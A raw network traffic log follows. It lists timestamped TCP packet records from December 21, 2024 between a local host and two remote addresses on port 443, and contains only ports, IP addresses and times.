Dec 21, 2024 20:13:32.472493887 CET	49732	443	192.168.2.4	172.67.131.114
Dec 21, 2024 20:13:32.476741076 CET	49732	443	192.168.2.4	172.67.131.114
Dec 21, 2024 20:13:32.523323059 CET	443	49732	172.67.131.114	192.168.2.4
Dec 21, 2024 20:13:33.101566076 CET	443	49732	172.67.131.114	192.168.2.4
Dec 21, 2024 20:13:33.101619959 CET	443	49732	172.67.131.114	192.168.2.4
Dec 21, 2024 20:13:33.101638079 CET	49732	443	192.168.2.4	172.67.131.114
Dec 21, 2024 20:13:33.101659060 CET	49732	443	192.168.2.4	172.67.131.114
Dec 21, 2024 20:13:33.158402920 CET	49732	443	192.168.2.4	172.67.131.114
Dec 21, 2024 20:13:33.158430099 CET	443	49732	172.67.131.114	192.168.2.4
Dec 21, 2024 20:13:33.804059029 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:33.804184914 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:33.804301023 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:33.804723978 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:33.804800034 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.023802996 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.023999929 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.029371023 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.029427052 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.029680967 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.029858112 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.030174971 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.075330973 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.608128071 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.608393908 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.608402967 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.608469009 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.608850002 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.609277010 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.609466076 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.609527111 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.609771967 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.609946966 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.610050917 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.616763115 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.616961002 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.617023945 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.617105961 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.625426054 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.625930071 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.633672953 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.633929014 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.730498075 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.731412888 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.731475115 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.732325077 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.800286055 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.803407907 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.803468943 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.803524017 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.811188936 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.811448097 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.811508894 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.815376997 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.819838047 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.823353052 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.823412895 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.827337027 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.828123093 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.828305960 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.828399897 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.828459978 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.836605072 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.837182999 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.845175982 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.847337961 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.847399950 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.851423025 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.853679895 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.853897095 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.853959084 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.855299950 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.862109900 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.862313032 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.862375021 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.862454891 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.870481968 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.870713949 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.870774984 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.871380091 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.879112959 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.879410028 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.885689020 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.887309074 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.887391090 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.887438059 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.992476940 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.992628098 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.995944023 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.996151924 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:35.996252060 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:35.996309996 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.002758026 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.003082037 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.003144026 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.003237009 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.009489059 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.009696007 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.009757996 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.009839058 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.016220093 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.016300917 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.023277998 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.027344942 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.029841900 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.030042887 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.043265104 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.043382883 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.049985886 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.050144911 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.062306881 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.062396049 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.067831039 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.068022966 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.078516006 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.078589916 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.089225054 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.089405060 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.187603951 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.187819958 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.197287083 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.197489023 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.207928896 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.208146095 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.213402033 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.213577032 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.224081993 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.224277020 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.229610920 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.229814053 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.240572929 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.240658045 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.251146078 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.251254082 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.259704113 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.259892941 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.263917923 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.264143944 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.272243023 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.272418022 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.276674986 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.276740074 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.284828901 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.284908056 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.293167114 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.293251038 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.299757004 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.299951077 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.307769060 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.308029890 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.316078901 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.316242933 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.320468903 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.320664883 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.329054117 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.329130888 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.333368063 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.333444118 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.377042055 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.377120972 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.381403923 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.381458998 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.388278961 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.388335943 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.395381927 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.395442963 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.402189970 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.402254105 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.405879974 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.405946970 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.412962914 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.413028955 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.438441038 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.438505888 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.443360090 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.443444014 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.449750900 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.449955940 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.453846931 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.454101086 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.455682039 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.455753088 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.459105968 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.459306955 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.467319012 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.467324972 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.467359066 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.467421055 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.467422009 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.467487097 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.467565060 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.477806091 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.477832079 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.478014946 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.478014946 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.478080034 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.478147030 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.489216089 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.489228964 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.489299059 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.489362001 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.489424944 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.499536037 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.499548912 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.499773026 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.499835968 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.499898911 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.572091103 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.572104931 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.572314024 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.572377920 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.572455883 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.581650972 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.581664085 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.581859112 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.581922054 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.582000017 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.591278076 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.591308117 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.591419935 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.591420889 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.591511965 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.591573954 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.593159914 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.593251944 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.604443073 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.604455948 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.604557991 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.604620934 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.604675055 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.615890980 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.615905046 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.616120100 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.616183996 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.616322041 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.626538992 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.626553059 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.626780987 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.626877069 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.626957893 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.636996984 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.637011051 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.637185097 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.637248993 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.637336016 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.646159887 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.646178961 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.646370888 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.646372080 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.646435976 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.646506071 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.762885094 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.762909889 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.763024092 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.763024092 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.763091087 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.763154030 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.769933939 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.769948959 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.770107985 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.770108938 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.770173073 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.770266056 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.775898933 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.775935888 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.776038885 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.776040077 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.776103973 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.776165962 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.777256966 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.777442932 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.783814907 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.783833027 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.784017086 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.784018040 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.784084082 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.784169912 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.791238070 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.791251898 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.791428089 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.791429043 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.791495085 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.791887999 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.798022032 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.798037052 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.798243046 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.798243999 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.798310041 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.798362017 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.804991007 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.805005074 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.805195093 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.805195093 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.805260897 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.805331945 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.811252117 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.811264992 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.811420918 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.811420918 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.811489105 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.811544895 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.955154896 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.955173016 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.955388069 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.955389023 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.955480099 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.955564022 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.961476088 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.961489916 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.961752892 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.961816072 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.962408066 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.967758894 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.967772007 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.967886925 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.967922926 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.968602896 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.973560095 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.973572969 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.973932981 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.973995924 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.974082947 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.979857922 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.979873896 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.980072021 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.980134964 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.980472088 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.986345053 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.986357927 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.986566067 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.986629963 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.986929893 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.992507935 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.992521048 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.992666960 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.992698908 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.993012905 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.999126911 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.999141932 CET	443	49733	104.21.18.182	192.168.2.4
Dec 21, 2024 20:13:36.999247074 CET	49733	443	192.168.2.4	104.21.18.182
Dec 21, 2024 20:13:36.999279976 CET	443	49733	104.21.18.182	192.168.2.4
